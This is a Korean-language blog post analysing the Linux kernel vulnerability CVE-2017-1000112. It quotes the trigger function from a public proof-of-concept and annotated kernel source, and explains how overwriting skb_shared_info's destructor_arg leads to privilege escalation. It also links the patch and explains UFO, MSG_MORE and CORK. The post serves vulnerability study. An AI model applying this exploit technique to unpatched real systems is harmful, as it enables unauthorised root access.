Post

CVE-2017-1000112 - Exploitable memory corruption due to UFO to non-UFO path switch

CVE-2017-1000112

https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void oob\_execute(unsigned long payload) {
char buffer[4096];
memset(&buffer[0], 0x42, 4096);
init\_skb\_buffer(&buffer[SHINFO\_OFFSET], payload);

int s = socket(PF\_INET, SOCK\_DGRAM, 0);
connect(s, (void\*)&addr, sizeof(addr))
/\***#1** \*/
int size = SHINFO\_OFFSET + sizeof(struct skb\_shared\_info);
int rv = send(s, buffer, size, MSG\_MORE);
/\***#2** \*/
int val = 1;
rv = setsockopt(s, SOL\_SOCKET, SO\_NO\_CHECK, &val, sizeof(val));
/\***#3** \*/
send(s, buffer, 1, 0);

close(s);
}

UFO packet을 만들어 전송할 때 첫 번째 send()는 UFO 일 때 타는 path를 실행하도록 하고 두 번째 send()는 non-UFO일 때 타는 path(fragmentation)를 실행하도록 구성하면 overflow가 발생할 수 있으며, 이는 write out-of-bounds → memory corruption → escalate privilege로 이어질 수 있다.

socket buffer(skb) 아래에는 skb\_shared\_info 구조체가 위치해 있는데, 이 구조체의 destructor\_arg를 overwrite해서 skb가 소멸될 때 임의의 코드가 실행되도록 구성한다.

#1 UFO path

send(MSG\_MORE)c \_\_ip\_append\_data()에서 ip\_ufo\_append\_data()를 호출해 새로운 socket buffer(skb)를 생성한다. user data가 fragment로 복사, skb\_shared\_info구조체가 업데이트되고 sbk가 queue에 들어간다.

v4.13.11/source/net/ipv4/ip_output.c#L911 : __ip_append_data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
...
cork->length += length;
if ((skb && skb\_is\_gso(skb)) ||
(((length + (skb ? skb->len : fragheaderlen)) > mtu) &&
(skb\_queue\_len(queue) <= 1) &&
(sk->sk\_protocol == IPPROTO\_UDP) &&
(rt->dst.dev->features & NETIF\_F\_UFO) && !dst\_xfrm(&rt->dst) &&
(sk->sk\_type == SOCK\_DGRAM) && !**sk->sk\_no\_check\_tx** )) {    //**#2** 

**// #1 create new socket buffer** 
err =**ip\_ufo\_append\_data(sk, queue, getfrag, from, length,** 

**hh\_len, fragheaderlen, transhdrlen,** 

**maxfraglen, flags);** 
if (err)
goto error;
return 0;
}

#2

setsockopt( , SO\_NO\_CHECK, )를 설정하면 sk->sk\_no\_check\_tx가 set된다. 두 번째 send()#1 path(UFO path)를 타지 않도록 하기 위해 설정해준다.

#3 non-UFO path

send()c \_\_ip\_append\_data()에서 non-UFO path를 타게 된다. while문 첫 번째 반복에서 copy가 음수가 되면서 alloc\_new\_skb 부분을 실행해 새로운 skb를 할당하게 된다. 그리고 fraggap이 MTU를 넘어가면서 fragmentation을 유발하게 되는데, 여기서 skb\_prev의 payload를 새로 할당한 sbk로 복사하는 과정이 일어난다. 이 때 payload length가 새로 할당된 skb->end를 초과하는 경우 overflow가 발생하게 된다. v4.13.11/source/net/ipv4/ip_output.c#L911 : __ip_append_data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
if (!skb)
goto alloc\_new\_skb;

  

while (length > 0) {
/\* Check if the remaining data fits into current packet. \*/
copy = mtu - skb->len;
if (copy < length)
copy = maxfraglen - skb->len;    //**can be negative** 
if (copy <= 0) {
char \*data;
unsigned int datalen;
unsigned int fraglen;
unsigned int fraggap;
unsigned int alloclen;
struct sk\_buff \*skb\_prev;
alloc\_new\_skb:
skb\_prev = skb;
if (skb\_prev)
fraggap = skb\_prev->len - maxfraglen;    //**can exceed MTU** 
............
if (fraggap) {
**/\* copying payload from skb\_prev to new skb(data) and** 
**OVERFLOW** 
**\*/** 
skb->csum =**skb\_copy\_and\_csum\_bits** (
**skb\_prev** , maxfraglen,
**data** + transhdrlen, fraggap, 0);
............
copy = datalen - transhdrlen - fraggap;    // can be neagtive

constraint
  • UFO enabled interface가 필요하다. lo interface는 UFO가 기본으로 활성화 되어 있기 때문에 이를 사용한다.
  • NETIF\_F\_UFO interface feature를 비활성화 하거나, SO\_NO\_CHECK socket option을 설정할 수 있어야 한다.
Patch

https://github.com/torvalds/linux/commit/85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa

참고

https://securingtomorrow.mcafee.com/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/

UFO, UDP Fragmentation Offload

UFO는 Linux kernel network stack에 있는 기능으로, 이름 그대로 UDP Fragmentation 기능을 제거해 패킷을 분할하지 않는 것을 의미한다. 해서, 완전한 UDP datagram을 포함하는 단일 패킷을 생성해 전송하게 된다. large UDP datagram을 MTU sized packet으로 fragmentation하면서 발생하는 overhead를 줄이기 위해 사용된다..

MSG_MORE

추가적으로 전송해야 하는 데이터가 있음을 의미한다. 따라서 send()/sendto()/sendmsg()MSG\_MORE를 지정하는 경우 데이터를 전송하지 않고 있다가 한 번에 전송한다. UDP의 경우, send(s, buf, len, MSG\_MORE)요청이 들어오면 전송하지 않고 single datagram에 데이터를 모아두었다가 ` MSG_MORE가 지정되지 않은 첫 번째 send()`에서 이를 전송한다. 따라서 이 패킷은 UFO packet이 될 수 있다. TCP의 경우, partial frame을 바로 전송하지 않고 queue에 저장해 두었다가, 이를 한꺼번에 전송한다. UDP와 달리 200ms가 되면 queued data가 자동으로 전송된다.

TCP_CORK / UDP_CORK

CORK : 코르크 MSG\_MORE과 비슷하지만, \*\_CORK는 socket option이라 각각의 send()에 지정하는게 아니라 setsockopt()로 활성화하면 지속 적용되고, 다시 비활성화 할 때 패킷 전송이 일어난다.

This post is licensed under CC BY 4.0 by the author.